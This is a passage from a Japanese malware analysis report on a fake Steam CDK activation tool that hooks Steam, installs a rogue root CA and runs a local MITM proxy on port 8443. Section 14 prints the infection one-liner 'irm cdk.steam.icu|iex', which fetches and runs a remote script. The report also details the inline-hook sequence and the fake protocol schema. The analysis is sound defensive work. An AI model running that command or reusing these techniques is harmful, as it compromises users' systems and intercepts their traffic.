これにより、loadLibのすべての動作は、ワーカースレッドを1つ生成し、すぐにstage-1に戻ることであると断定できます。stage-1はcall raxが戻った時点でタスクは完了したとみなし、正常にDllMainを終了します。ワーカースレッドはSteamプロセスのバックグラウンドで後続のすべてのビジネスロジックを実行し、メインの呼び出しスタックには異常の兆候は一切表示されません。
12.10 重要な関数に静的な呼び出し元がない原因:C++仮想関数ディスパッチテーブルの実行時埋め込み
§12.5では、証明書インストールのオーケストレーション関数sub_293d0(portproxyインストール、root CAインストール、.steam_restart_flagの書き込みなどを直接呼び出す)を逆アセンブルしました。しかし、アンパックイメージ内のすべてのE8 disp32 / FF 15 / qwordポインタ参照をスキャンしたところ、sub_293d0には0の静的呼び出し元がありました。sub_2cb80(loadLibエクスポート)も同様に静的呼び出し元がありません。しかし、loadLibは外部エクスポートであるため説明がつきます。一方、sub_293d0は完全に内部関数であり、それを直接指すマシンコードはありません。
この現象はアンパックプロセスの欠落ではありません。VMProtect runtimeとC++グローバルオブジェクト初期化は、実行時にすべての重要な関数ポインタを.data/.rdataに埋め込みます。
- TLS callback
sub_565de0はDLLロード時に最初に実行され、動的解決(LoadLibraryExW+ プライベートGetProcAddressByName)を通じてすべてのWindows APIを.rdataの関数ポインタスロットに埋め込みます。 - 同時に、C++グローバルオブジェクト(
0x1ee14910000のようなヒープポインタ)の仮想テーブルを埋め込みます。 - ユーザースレッド
sub_2f4df0は実行時に、これらの埋め込まれたスロットから(this, method_ptr)ペアを読み取り、直接callします。
これにより、アンパックイメージでsub_293d0に呼び出し元がない現象は、意図的な静的解析回避手段であることがわかります。VMProtectはコード領域を暗号化するだけでなく、C++仮想関数ディスパッチのメソッドテーブルを、シェルが実行時に埋め戻すスロットに移行しています。静的なレベルから「誰がsub_293d0を呼び出したか」に答えるには、まず動的デバッグでTLS callbackをステップスルーし、実行時に埋め込まれたすべての関数ポインタスロットをダンプしてから、クロスリファレンスを作成する必要があります。
この現象は、再利用可能な逆方向の方法論を示唆しています。重要な関数の静的呼び出し元が0の場合、関数自体やアンパックの品質を疑うのではなく、関数ポインタテーブルのダンプに目を向けるべきです。.rdata内でシェルが実行時に埋めるqwordスロットが、「暗号化領域からアンパック後の平文領域への入り口」となります。
補足的な確認:TLS callback sub_565de0自体を直接逆アセンブルすると(その最初の命令はcall sub_8249d0で.text末尾の低エントロピーディスパッチ領域にジャンプ)、以下の出力が得られます。
pushfq ; 1. EFLAGSを保存
add rbp, 0x6f ; 2. rbpに無意味な演算
popfq ; 3. EFLAGSを復元
lea rbp, [rbp - 0x6f] ; 4. 正味の効果:rbp は不変
pushfq
push rdi
mov rdi, qword ptr [rsp + 8]
lea rdi, [rdi + 0x19]
xchg qword ptr [rsp + 8], rdi ; 5. スタック位置の交換による難読化
mov qword ptr [rsp + 8], rdi
mov rdi, qword ptr [rsp]
lea rsp, [rsp + 8]
call $+5 ; 6. 次のIPをスタックトップにプッシュ
add qword ptr [rsp], -0x5aa ; 7. スタック上のIPを変更
... 遠くのどこかの ret が IP+(-0x5aa) にジャンプ ...
このシーケンスは、VMProtect mutationパターンの典型的なスタイルです。各セマンティック操作は「フラグ保存 / ダミー演算 / フラグ復元 + スタック位置交換 + 計算ジャンプ」チェーンにカプセル化され、命令が5〜10倍に膨れ上がり、認識可能なAPI名や文字列参照はありません。TLS callbackの実際のセマンティクス(名前による258個のWindows API解決、0x328000関数ポインタテーブルの埋め込み、C++グローバルオブジェクトの構築、vtableのインストール)はすべて、このmutation層の下に押し込められています。この層を完全に解くには、IDA + VMP mutationソルバーまたは動的ステップスルーが必要であり、今回の静的解析の範囲を超えています。
12.11 重要な発見:完全な steam_server.proto 偽バックエンドプロトコル
§10のSteamダンプで観察されたCMsgGatewayHookRequest、CMsgCdkActiveResponse、GetDepotKey、GetTicket、ManifestAuthなどのシンボルは、孤立した文字列ではありません。アンパックイメージでは、これらのシンボルはすべてprotobufのFileDescriptorProto blob内にあります。
.proto ファイル名(protobuf descriptor ヘッダに埋め込み) ファイルオフセット 性質
steam_api.proto 0x349ed2 Steam 公開プロトコル(正規存在)
steam_cloud.proto 0x34ed72 Steam Cloud プロトコル(正規存在)
steam_server.proto 0x34f802 ★ マルウェア独自のワイヤプロトコル ★
3番目のsteam_server.protoが、このツールのカスタム偽Steamバックエンドプロトコルです。アンパックイメージでは、シリアル化されたFileDescriptorProto形式で全体が埋め込まれています(これにより、§12.2でCMsgGatewayHookRequestなどの個々のmessage名をスキャンしてもLEA xrefが見つからなかった理由が説明されます。これらの名前はdescriptor blobの埋め込みバイト内にあり、独立したC文字列ではありません)。完全なmessageリストは以下の通りです。
// アプリケーション層暗号化層
message CMsgEncrypt {
bytes key_decrypt = ...;
bytes iv_decrypt = ...;
}
message CMsgEncryptedHeader {
uint32 protobuf_id = ...; // 内側の message タイプID
bool crypto_compressed = ...;
CMsgEncrypt crypto = ...;
bytes encrypted_body = ...; // 内側の message を暗号化したバイト列
}
// ビジネスメッセージ
message CMsgGetAppListRequest { fixed64 steam_id; int64 timestamp; }
message CMsgGetAppListResponse {
EProtoResult result;
message AppListResponse {
uint32 appid;
repeated DepotList depots;
}
message DepotList {
uint32 depot_id;
bool denuvo; // ← このゲームにDenuvoがあるか
bool patch, update, appinfo, online;
}
}
message CMsgGetDepotKeyRequest { uint32 appid; uint32 depot_id; int64 timestamp; }
message CMsgGetDepotKeyResponse { EProtoResult result; uint32 depot_id; bytes depot_key; }
// ★ Steam内部の GetDepotKey のインターセプトポイント
message CMsgGetTicketRequest { uint32 appid; bool online; int64 timestamp; }
message CMsgGetTicketResponse { EProtoResult result; bytes auth_session_ticket; bytes ticket; }
// ★ GetTicket のインターセプトポイント
message CMsgManifestAuthRequest { uint32 app_id; uint32 depot_id; uint64 manifest_id;
string app_branch; bytes branch_password_hash; int64 timestamp; }
message CMsgManifestAuthResponse { EProtoResult result; }
// ★ Manifest 認証インターセプト
message CMsgGetEncryptTicketRequest {
fixed64 steam_id; uint32 appid; bytes machine_id;
message HttpHeader { string name; bytes value; }
repeated HttpHeader headers;
int64 timestamp;
}
message CMsgGetEncryptTicketResponse{ EProtoResult result; uint32 appid; bytes ticket;
bytes encrypted_result; uint64 replace_id; }
// ★ GetEncryptTicket インターセプト
message CMsgCdkActiveRequest { fixed64 steam_id; int64 timestamp; }
message CMsgCdkActiveResponse { EProtoResult result; uint32 appid; uint32 status; }
// ★ ユーザーがCDKを入力した際の「アクティベーション」パス
message CMsgGatewayHookRequest { uint32 steam_client_size; uint32 hook_type;
int64 timestamp; uint32 kernel_size; }
message CMsgGatewayHookResponse { int32 code; ... }
// ハートビート/バージョン交渉:C2 に通知
// - Steam クライアントバージョン/サイズ
// - フックカーネルバージョン/サイズ
上記のプロトコルを直列化すると、偽Steamバックエンドの実際のデータフローを完全に描くことができます。
┌─ Steam.exe 内部で GetDepotKey / GetTicket / ManifestAuth / GetEncryptTicket を呼び出す
│ (通常、これらの呼び出しは Steamworks バックエンドを介して Valve サーバーに接続して結果を取得する)
│
├─ stage-2 がインストールした hook によってインターセプトされる
│ ↓ hook は dbghelp.SymFromAddr を使用して、Steam バージョン間でシンボルにより位置特定(§9.3 で伏線が張られていた)
│ ↓ オフセットのハードコードに依存せず、Steam がアップグレードされても有効性を維持
│
├─ インターセプト後、protobuf を構築:CMsgGetDepotKeyRequest / CMsgGetTicketRequest / ...
│ ↓ CMsgEncryptedHeader { protobuf_id, crypto, encrypted_body } でアプリケーション層 AES をラップ
│ ↓ 外側の TLS が MITM されても、内側の protobuf は暗号文のまま(アプリケーション層暗号化)
│
├─ winhttp(IAT スロット 0x8275e0)経由で srv01.codefusion.technology:443 に送信
│ ↓ hosts はこのドメインを 127.0.0.1 に向ける
│ ↓ portproxy は 127.0.0.1:443 を 127.0.0.1:8443 に転送
│
├─ Steam プロセス内で stage-2 が起動した 8443 リスニングソケットが接続を受け入れる
│ ↓ §12.3 で抽出されたリーフ証明書と一致秘密鍵を使用して TLS を終端する(正当な証明書チェーン:リーフ証明書は DCS Root CA G2 によって発行され、
│ ルート CA は §12.5 で LocalMachine\Root にインストールされ、Steam はこのチェーンを有効とみなす)
│ ↓ CMsgEncryptedHeader を解いて CMsgGetDepotKeyRequest を得る
│
├─ ローカル偽バックエンドが CMsgGetDepotKeyResponse を構築する
│ ↓ depot_key は偽造値(Steam は後でこれを使用して、stage-2 が置き換えたローカル depot コンテンツを「復号」する)
│ ↓ CMsgEncryptedHeader で再び暗号化されて応答パケットを形成
│
└─ Response は元のパスを逆行 → hook 関数が protobuf をデシリアライズして depot_key を取得 →
Steam に戻り、Steam はそれを Valve サーバーと正常に通信した後に得られた正当な depot_key とみなす
→ 「ゲーム利用可能」ブランチに入る
CMsgGetAppListResponse内のdenuvo / patch / update / appinfo / onlineフラグは、重要なセマンティックシグナルを提供します。このツールは、ゲームライブラリ全体のメタデータテーブルを持ち歩いており、各ゲームには「Denuvoが有効か、最新のパッチバージョン、オンライン対応か」がラベル付けされています。これは、このツールが単一ゲームのハック実装ではなく、ゲームライブラリ全体を対象とした産業チェーンツールであることを示しています。C2バックエンドは各Steamゲームのアクティベーション可能/オンライン可能状態を継続的に維持し、クライアントはCMsgGetAppListResponseを取得してエンドユーザーに表示します。
これは静的バイナリから得られる最高精度の記述です。以前の結論「このツールはSteam Steamworks通信を偽造する」は、今やフィールド単位、message単位の偽Steamバックエンドプロトコルリストとして精密化できます。AppListResponse.denuvoフィールドは、このC2バックエンドが特にDenuvo状態を維持していることをさらに確認しており、§11でsrv*.codefusion.technologyをDenuvo/Codefusionアンチタンパー「偽サーバー」に帰属させた定性的結論と完全に一致します。
12.12 258個のWindows APIの実行時解決テーブル
§9.3ではディスクIATに11スロットしかないことが確認され、§9.5ではこれら11スロットに0の静的呼び出しサイトがあることが確認されました。これは、実際のWindows API呼び出しは別のメカニズムを経由する必要があることを意味します。アンパックイメージはそのメカニズムを明らかにしました。
名前テーブル @ 0x54e4d0 + ポインタテーブル @ 0x54f768:DLL名文字列とAPI名文字列が.rdata内に対で存在し、275エントリのqwordポインタテーブル(NULLをDLL境界区切りとして含む)によってインデックス化されています。各qwordは標準のPE IMAGE_IMPORT_BY_NAME構造体(2バイトHint + 名前 + null)を指します。
解決された関数ポインタテーブル @ 0x328000:名前テーブルと一対一に対応し、合計258のqwordスロットがあります。TLS callbackはDLLロード時に名前/序数でLoadLibraryExW + GetProcAddressを呼び出し、各Windows APIのランタイムアドレス(0x7ffc_xxxxxxxx ユーザーモードDLLアドレス空間)を埋め込みます。アンパックイメージは、このテーブルが埋められた後の状態のスナップショットを捉えています。
DLLでグループ化した完全な分布:
| DLL | API数 | 主要API抜粋 |
|---|---|---|
| kernel32.dll | 196 | OpenThread / SuspendThread / ResumeThread / GetThreadContext / SetThreadContext / VirtualProtect / FlushInstructionCache / Thread32First / Thread32Next / CreateToolhelp32Snapshot / K32EnumProcessModules / ReadProcessMemory / IsBadReadPtr / VirtualQueryEx / LoadLibraryExW / GetProcAddress / MessageBoxA ... |
| user32.dll | 2 | MessageBoxA, GetForegroundWindow |
| advapi32.dll | 12 | RegOpenKeyExA / RegQueryValueExA / RegCloseKey(Steamレジストリ読み取り);OpenProcessToken / GetTokenInformation(昇格チェック);CryptAcquireContextA / CryptCreateHash / CryptHashData / CryptGetHashParam / CryptDestroyHash(整合性ハッシュ——CMsgGatewayHookRequest.kernel_size/steam_client_size フィールドで使用);GetUserNameA |
| shell32.dll | 4 | ShellExecuteA / ShellExecuteExA / SHGetSpecialFolderPathA / SHGetKnownFolderPath |
| ole32.dll | 1 | CoTaskMemFree |
| bcrypt.dll | 1 | BCryptGenRandom |
| winhttp.dll | 13 | 完全なWinHTTPクライアント:WinHttpOpen / Connect / OpenRequest / SendRequest / ReceiveResponse / AddRequestHeaders / QueryHeaders / QueryDataAvailable / ReadData / CrackUrl / CloseHandle / SetOption / SetTimeouts |
| ws2_32.dll | 18 | すべて序数でインポート(文字列なし):socket(#116) / bind(#2) / listen(#13) / accept(#1) / connect(#3) / send(#19) / recv(#16) / sendto(#20) / recvfrom(#17) / closesocket(#9) / setsockopt(#21) / WSAStartup(#111) / WSACleanup(#10) / WSAGetLastError(#115) / htons(#23) / ntohs(#15)+ inet_pton / inet_ntop(これらは名前で) |
| crypt32.dll | 8 | CertOpenStore / CertCloseStore / CryptStringToBinaryA / CertCreateCertificateContext / CertFindCertificateInStore / CertFreeCertificateContext / CertAddCertificateContextToStore / CertSetCertificateContextProperty |
| dnsapi.dll | 2 | DnsFree / DnsQuery_W |
| dbghelp.dll | 1 | SymFromAddr(PDBシンボル解決) |
合計258のAPI、静的IATの11と比較して、隠されたインポートの拡大率は23倍に達します。
kernel32テーブル内の以下の関数の組み合わせは特に重要です。
OpenThread → SuspendThread → GetThreadContext → VirtualProtect →
ReadProcessMemory → バイト変更 → FlushInstructionCache →
SetThreadContext → ResumeThread
このシーケンスは、標準的なマニュアルinline hookインストールシーケンスです。dbghelp.SymFromAddr(PDBシンボルによるターゲット関数の位置特定)とK32EnumProcessModules / Thread32First/Next / CreateToolhelp32Snapshot(Steamモジュールとスレッドの列挙)と組み合わせることで、完全なフックインストールパイプラインを構成します。
1. CreateToolhelp32Snapshot + Thread32First/Next → Steam の全スレッドを列挙
2. OpenThread + SuspendThread → ターゲットスレッドを一時停止(パッチ対象のバイトが実行中であることを回避)
3. K32EnumProcessModules + GetModuleHandleW → steamclient64.dll / steamui.dll / tier0_s64.dll のモジュールベースを特定
4. SymFromAddr → PDBシンボル名で各フックターゲットのランタイムアドレスを特定
5. VirtualProtect(PAGE_EXECUTE_READWRITE) → ターゲットページの書き込み保護を解除
6. ReadProcessMemory + バイト変更 → jmp ジャンプ台をフックハンドラにインストール
7. FlushInstructionCache → CPU に新しいコードを認識させる
8. ResumeThread → スレッドを再開
SymFromAddrの呼び出しサイトはファイル全体で1か所のみ(rva 0x2b595)です。SymFromAddr(hProcess, address, &disp, &SymbolInfo)により「アドレスからシンボル名を検索」を実現し、PDB情報と組み合わせてSteam内部関数を特定のアドレスに特定します。これが§9.3で述べられた「このサンプルが複数のSteamクライアントバージョンで動作する」正確なメカニズムです。Steamがアップグレードされても関数アドレスは変わりますが、PDBシンボル名は安定しており、フックインストールコードはSymFromAddrで再特定することで適応できます。
ws2_32のすべてが序数でインポートされ、API名文字列を残さないことは、もう一つの静的解析回避の詳細です。grepで "socket" / "bind" / "accept" などのキーワードを検索しても0件となり、これらのAPI名はバイナリ内に文字列として一度も現れないためです。0x54ff30以降の序数テーブルを特定した後でのみ、その名前を逆算できます。
12.13 8443ポートのMITMプロキシ:bind / listen / accept / connect が同一関数に集中
ws2_32の18のAPIの集中呼び出しポイントは、rva 0x20200–0x20800の範囲、合計数百バイトに位置しています。これはコンパクトなソケットサービス関数本体です。
[ループ先頭] @ 0x203b0 ; server_profile_table(§12.4の6スロット)の各エントリに対して:
sockaddr_in クリア
sin_family = AF_INET (= 2)
htons(port) ; port は config 構造体の +4 オフセットから読み取る
@ 0x203d6: call bind
@ 0x203fe: call listen
@ 0x2043a: call accept ; 接続をブロッキング待機
@ 0x20449: call recv ; クライアントから送られたバイトを読み取る
... 処理 ...
@ 0x20563: call connect ; ★ 同じ関数内で accept と connect の両方を実行 ★
... 上流 ...
@ 0x207ae: call recv ; 上流からの応答を読み取る
@ 0x2030b: call send ; 応答をクライアントに書き戻す
bind / listen / accept と connect が同じ関数に出現します。これはMITMプロキシの特徴的な構造です。ローカルポートでクライアント接続を受け入れ、同時に能動的に上流(実際のまたは偽造されたリモート)に接続し、その間で結合と改ざんを実行します。この構造は、§12.3のリーフ証明書+一致秘密鍵(8443でクライアントのTLSハンドシェイクを終端するため)、§12.4の6スロットSNIサーバープロファイルテーブル(クライアント接続のターゲットドメインを決定)、§12.5でインストールされたルートCA(クライアントにリーフ証明書を信頼させる)と組み合わさり、ローカル偽HTTPSバックエンドの完全なコードパスがすべて特定のRVAにマッピングされています。
ポート番号8443(= 0x20fb)はbind呼び出しポイントに直接現れるのではなく、サーバーconfig構造体を介して渡されます。
@ 0x1eb80: ServerConfig のコンストラクタ
...
@ 0x1ebbc: mov byte ptr [rcx], 0
@ 0x1ebbf: mov qword ptr [rcx + 4], 0x20fb ; config.listen_port = 8443
@ 0x1ec05: mov word ptr [rax + 0x18], 0x101 ; 別の状態フィールド
@ 0x1ebf0: mov ecx, 0x390 ; 0x390 バイトのオブジェクトを割り当て
@ 0x1ebf5: call sub_2d4e10 ; 内部アロケータ
...
bind呼び出し時にsin_port = htons(config.listen_port)——8443はconfigフィールドを経由してソケットに渡されます。このポートは設定可能なフィールドとして保存されており、作者が「ポート変更」の拡張性を残していることを示しています(8443がSteamのデフォルトポートと競合した場合、設定を変更するだけで動作を継続できます)。
12.14 静的解析で残った盲点
このセクションでは、アンパックイメージから静的手段で取得できるすべての結論を尽くしました。以下の問題は静的レベルではこれ以上進めることができません。
| 未解決の問題 | 静的解析の限界 | 推奨される動的解析手段 |
|---|---|---|
| TLS callback が0x328000テーブルにAPIアドレスを書き込む具体的なタイミング | §12.10、§12.12 — VMProtect mutationで包まれている | TLS callbackを動的ステップスルー |
| フックが実際にSteamのどの具体的な関数にインストールされるか | SymFromAddrの唯一の呼び出しサイト(0x2b595)周辺がVMP mutationノイズで覆われ、パラメータを抽出できない | Steamプロセスにブレークポイントを設定し、PSYMBOL_INFO.Nameを読み取る |
CMsgEncrypt.key_decrypt / iv_decryptの鍵導出パス | AES鍵導出コードは暗号化領域にある可能性が高い | BCryptGenRandom + CryptHashDataの呼び出しシーケンスを監視 |
| 8443アプリケーション層プロトコルフィールドの正確なセマンティクス | プロトコル定義は§12.11で取得済みだが、ステートマシン/失敗リトライロジックは暗号化コード領域にある | 8443ポートでソケットレベルのパケットキャプチャを実施 |
| 6つのC2ドメインの背後に同じバックエンドインスタンスが共有されているか | hostsはすべて127.0.0.1にハイジャックされており、直接接続して検証できない | 隔離環境でhostsを復元し、元の上流IPをキャプチャ |
結論:最初の「Steamが遅い」という現象から出発し、最終的にサンプル内で以下の結論を得ました。偽Steamバックエンドのフィールド単位のprotobufスキーマ、偽造されたCodefusion CAルート証明書とリーフ証明書およびその一致秘密鍵、ルートCA / portproxy / hosts書き換えの具体的な呼び出しグラフ、258項目の動的API解決テーブル内の正確なマニュアルinline hookスイート、ローカル8443プロキシサービスのコード位置。これが静的解析のみで到達できる限界です。さらなる詳細な結論は、Steamプロセス内の動的ブレークポイントとシステム相互作用のリアルタイム動作監視に依存する必要があります。
12.15 このセクションで生成されたエンジニアリングスクリプト
re/34_extract_certs.py §12.3 PEM/PEM秘密鍵を取得 → DER
re/35_cert_xrefs.py §12.4 証明書PEM/API名のLEA + QWORD参照を特定
re/36_disasm_cert_install.py §12.5 sub_23200 / sub_293d0 領域を逆アセンブル
re/37_callgraph.py §12.10 直接呼び出しグラフ(sub_293d0 の呼び出し元が0であることを確認)
re/38_disasm_loadLib_and_orch.py §12.9 loadLib + 完全なオーケストレーターを逆アセンブル
re/39_disasm_worker.py §12.9 sub_2ec20c = _beginthreadex を確認
re/40_steamworks_hook_xrefs.py §12.11 steam_server.proto スキーマを特定
re/41_iat_callsites.py §12.12 11のディスクIATスロットの呼び出しサイトが0であることを検証
re/42_indirect_callsites.py §12.12 すべてのFF15/FF25間接呼び出しをスキャンし、0x328000解決テーブルを特定
re/43_api_resolution_table.py §12.12 275エントリの名前ptrテーブルを解決 → 258のAPI + DLL境界を復元
re/44_disasm_tls.py §12.10 TLS callbackを逆アセンブルし、VMP mutationを確認
re/45_disasm_8443_server.py §12.13 bind/listen/accept/connectプロキシ関数本体を逆アセンブル
上記のアンパック解析方法論は次のように要約できます。「静的暗号化 → 動的アンパック → アンパックイメージを使用してシステム側の証拠を一つずつ逆方向に閉じる → 静的解析はVMP mutationで終了」。このフローはVMProtect系のサンプルに対して汎用性があります。
13. トリガー要因の帰属:『Party Animals』がなぜ安定して再現するのか
まず範囲の境界を明確にする必要があります。このツールは『Party Animals』向けにカスタム開発されたものではなく、汎用的な「Steam CDKアクティベーション / ライブラリ登録」ツールの一種です。Steamworksチケット + Manifest + Depot Key + Denuvo/Codefusionアンチタンパーフローを経由するゲームはすべてサポート範囲内です。今回のケースで『Party Animals』により安定してトリガーされた理由は、このゲームのアンチタンパーハンドシェイクがSteam起動初期に高頻度で発生し、リソースリークが統計的に最も早く観測されたためです。他のDenuvo/Codefusionアンチタンパーを搭載したゲームでも同様のチェーンを再現できます。
これに基づき、最初の異常現象——なぜ単一のゲームがトリガーしたのか——に答えることができます。
Steam 起動 → stage-2 が既に Steam プロセスに常駐
『Party Animals』起動 → Steam の Steamworks/チケット/Manifest/アンチタンパーフローをトリガー
stage-2 が上記トラフィックを引き継ぐ
8443 の偽サーバーが高頻度で accept を処理 → スレッドストーム
ゲーム終了 → stage-2 がローカルサービス/接続を適切にクリーンアップしない
Steam プロセスは解放されていない全てのワーカースレッドを保持 → リソース使用率が高止まり
Steam プロセスを再起動して初めて回収される
この現象は『Party Animals』自体が引き起こしたSteamの障害ではなく、このゲームが埋め込まれた偽アンチタンパーチェーンをアクティベートし、スレッドストームはこのチェーンがゲーム終了時にリソースを適切に解放できなかった副作用です。
14. 侵入入口分析:irm cdk.steam.icu | iex 一行ダウンロード実行
侵入入口は、被害者が自ら提供した「アクティベーション手順」を逆方向にたどることで特定されました。単一のPowerShellコマンドです。
irm cdk.steam.icu|iex
irm は Invoke-RestMethod で、指定されたドメインからスクリプトをダウンロードします。iex は Invoke-Expression で、ダウンロードした内容を現在のシェルで即座に実行します。このモードでは、ユーザーはリモートスクリプトの内容を事前に確認できません。
システム側のランディング状態から逆算すると、このリモートスクリプトは少なくとも以下の操作を実行しています。
F:\steam\ に xinput1_4.dll を書き込む (stage-1)
%LOCALAPPDATA%\Steam\ に localData.vdf を書き込む (XOR 0xFF でパックされた stage-2)
hosts に codefusion/antitamper の 6 ドメインの 127.0.0.1 マッピングを追加
システムルート証明書ストア (LocalMachine\Root) に DCS Root CA G2 をインストール
その後、ユーザーに Steam で「アクティベーションコード」を入力するよう促す
——実際には stage-2 の偽 CDK Active フローとの対話(§12.11 CMsgCdkActiveRequest)
古いSteamが継続的に異常を起こした理由は、上記のファイルとシステム設定が既に埋め込まれていたためです。新しくインストールされたF:\teststeamはこれらのファイルや設定に一切関与していないため、正常に動作しました。
15. ツールの定性と脅威評価
このセクションでは、前述の分析に基づき、2つのよくある疑問に対する定性的結論を示します。
疑問1:このサンプルは従来のウイルスに該当するか?
いいえ。このサンプルは自己複製や横方向への拡散といった従来のウイルスの特徴を持ちませんが、完全かつ明確な悪意/グレーゾーンコンポーネントの特徴を持っています。
xinput1_4.dllという偽装名によるDLLサイドローディング。- stage-2 が
localData.vdfに隠蔽され、XOR 0xFF で簡易パック。 - Steam プロセス内で MemoryModule スタイルによる手動PEマッピング、エクスポート関数
loadLibの呼び出し。 hostsファイルの改ざん。- 自己署名Root CAのシステム信頼されたルートストアへのインストール。
cmd /c netsh、powershell -WindowStyle Hidden、Start-Process -Verb RunAsなどを使用した隠蔽実行と権限昇格。- ローカルHTTPSポートフォワーディング(443 → 8443)の作成。
- Steam 認証フローと Denuvo/Codefusion アンチタンパー通信に対するフックとプロトコルレベルの偽装。
疑問2:このサンプルは単なる「Steamライブラリ登録スクリプト」であり、Denuvo暗号化をバイパスするためのものか?
部分的に正しい。完全な動作面に基づく定性は以下の通りです。
- 本質:Steam + Denuvo/Codefusion に対するローカル偽サービス / MITM チェーン。
- 目的:Denuvo/Anti-Tamper検証、Steamworksチケット、Depot Key、Manifest認証、CDKアクティベーションなどの重要な認証ノードをインターセプトし偽装する。
- 配布パッケージ:「アクティベーションコード / Steamライブラリ登録 / オンライン対応バージョン」などの形でグレーゾーンチャネルを通じてエンドユーザーに販売される。
脅威評価の補足:アカウント盗難のリスクはあるか?
サンプルは既にローカルマシン上のHTTPSトラフィックを透過的に傍受する能力を持っており、理論的には127.0.0.1:443を通過する任意の平文を傍受できます。DCS Root CA G2自己署名ルート証明書と組み合わせることで、任意のドメインに対する偽のリーフ証明書を発行することもできます。このサンプルの主な目的が資格情報の窃取でなくとも、その技術的能力はパスワードの傍受、Steamトラフィックの改ざん、ゲームセッションへの注入などのシナリオをカバーしています。悪意のあるソフトウェアとして扱うことは、一般的なセキュリティ慣行の基準に沿っています。
16. 分析の不足点と未解決問題
16.1 静的解析能力の結論限界
本レポートは、アンパック後のstage-2イメージ(stage2_unpacked.bin、SHA256 8911004D…)の静的解析に基づいています。このイメージはVMProtectの外側の暗号化をバイパスしていますが、それでも本質的に不可視な領域が2つ存在します。
- VMProtect mutation 層:TLS callback
sub_565de0の入口で即座に暗号化領域内のmutation処理された命令ストリームにジャンプします(典型的な形態:pushfq / dummy-math / popfq+ スタック位置交換 +call $+5; add [rsp], -X形式の計算ジャンプ、命令が5〜10倍に膨れ上がる)。この層はアンパックイメージ内に平文バイトとして存在し、一行ずつ逆アセンブル可能ですが、セマンティクスは静的に復元できないほど断片化されています。 - オンデマンド復号コードセグメント:アンパックイメージは、
loadLibが呼び出され、ワーカースレッドが生成され、TLS callbackが実行完了した時点でのstage-2のメモリスナップショットを捉えたものです。このツールのフックハンドラ、プロトコルステートマシンなどのより深い関数は、最初にトリガーされたときにのみ復号されます。ダンプ時にトリガーされなかったコードパスは、依然として暗号文/ノイズの形態をとっています。SymFromAddrの唯一の呼び出しサイト周辺70バイトのバイトストリーム(73 cb 6d 75 8e 1d 95 42 5e 78 46 1e 7d 05 df 70など)はこのカテゴリに属します。
このセクションでは、現在の静的解析だけでは確定結論を出せないいくつかの重要な問題を明確にリストアップし、今後の動的解析へのバトンタッチリストとします。
16.2 未解決問題リスト
以下の表は、今回の分析で静的に閉じることができなかったすべての具体的な問題を列挙し、「限界条件」と「動的解析における解決パス」を示しています。
| # | 未解決問題 | 静的解析の限界条件 | 推奨される動的解析手段 |
|---|---|---|---|
| 1 | TLS callback 実行体が258のAPI実アドレスを0x328000関数ポインタテーブルに書き込む具体的なシーケンス | §12.10 / §12.12:VMProtect mutationで完全に包まれている | LoadLibraryExW / GetProcAddress の入口に条件ブレークポイントを設定し、呼び出しハッシュでソートして解決シーケンスを記録 |
| 2 | inline hook が実際にSteamのどの具体的な関数(PDBシンボル名で)にインストールされるか | SymFromAddr の唯一の呼び出しサイト(rva 0x2b595)周辺がmutationノイズで覆われ、PSYMBOL_INFO の名前を静的に読み取れない | SymFromAddr 呼び出しの戻り箇所にブレークポイントを設定し、pSymbol->Name をダンプ;VirtualProtect(PAGE_EXECUTE_READWRITE) のヒットポイントを監視してパッチ対象のターゲットアドレスを特定することも可能 |
| 3 | CMsgEncrypt アプリケーション層暗号化のアルゴリズム、鍵導出、IV戦略 | AES実装コードと鍵交換コードはどちらもオンデマンド復号領域にある可能性が高い | BCryptGenRandom(乱数生成)+ CryptHashData(鍵導出)+ CertGetCertificateContextProperty(秘密鍵取り出し)の呼び出しシーケンスを監視し、8443ポートのソケットパケットキャプチャと平文/暗号文を比較 |
| 4 | 8443 server が CMsgGet*Request を処理する際、ローカルで応答を構築するか、上流C2にフォワードするか | プロトコルフィールド定義は§12.11で取得済みだが、ディスパッチ関数(フォワード/ローカルを決定)はオンデマンド復号領域にある | 8443ポートに傍受プロキシ(mitmproxy)を設置し、同時にstage-2内のWinHttpSendRequest発信呼び出しを監視し、リクエストが双方向チェーンに同期して現れるか観察 |
| 5 | CDKアクティベーションコード(ユーザー入力文字列)がプロトコル内で実際に運ばれる位置とフロー | CMsgCdkActiveRequest には steam_id / timestamp のみ含まれ、アクティベーションコードフィールドは見えない;アクティベーションコードは別の発見されていないmessage、HTTP form post、またはstage-0 PowerShellスクリプトに含まれている可能性がある | cdk.steam.icu/iex スクリプトをリバースエンジニアリング;同時にstage-2内の WinHttpAddRequestHeaders / send 呼び出しの具体的なペイロードを監視 |
| 6 | 偽造された depot_key とローカルdepotファイルの連携方法(depotファイル自体の暗号化方式) | このツールはdepotファイルを持ち歩かない。ファイル配布チャネルはサンプル範囲外 | 完全な「アクティベーション済み」環境を入手し、steamapps\depotcache*.manifest を正規のmanifestと比較し、作者の事前暗号化フローを逆算 |
| 7 | 6つのcodefusion / antitamper C2ドメインの背後にある実際の上流デプロイ | hostsはすべて127.0.0.1にハイジャックされており、DNS / TLSプローブで実際のIPを特定できない | 隔離環境で一時的にhostsを復元し、サンプルを実際のC2と通信させ、ハンドシェイクターゲットIPと証明書チェーンをキャプチャ |
16.3 確立されているが使用が観察されていない能力
以下の能力はアンパックイメージ内に明確に存在します(APIは0x328000テーブルに解決済み、文字列は展開済み)が、現在の分析では対応する具体的なコード使用パスは観察されていません。現在使用されているとも、されていないとも断定できません。
| 能力 | 証拠 | リスク面 |
|---|---|---|
| 任意の子プロセス生成 | kernel32.CreateProcessA(258項目の解決テーブル内)+ shell32.ShellExecuteA / ShellExecuteExA | 一旦有効化されると、Steamプロセスコンテキストで任意のコマンドを実行可能 |
| 任意のDLL実行時ロード | LoadLibraryExW が解決済み;MemoryModuleスタイルの手動PEマッパーはstage-1で既に実装され再利用可能 | ツールはリモートから追加ペイロードをプルしてロードでき、ローカルファイルの更新は不要 |
| 任意のHTTP発信 | 13のWinHttp* APIがすべて解決済み;force_proxy / use_https などの CCloud_ClientFileDownload_Request フィールドはファイルダウンロードシナリオを示唆 | (1)と組み合わせて、任意の外部コードをダウンロードして実行可能 |
| プロセス列挙とスレッド操作 | CreateToolhelp32Snapshot / Thread32First/Next / OpenThread / SuspendThread / SetThreadContext | 現在はSteamプロセス内のフックインストールに使用;技術的には他のユーザーモードプロセスにも注入可能 |
| ファイルシステム走査 | FindFirstFileW / FindNextFileW / FindClose + GetFileAttributesExW | 現在の用途は不明だが、ユーザーディレクトリを走査するための全APIを備えている |
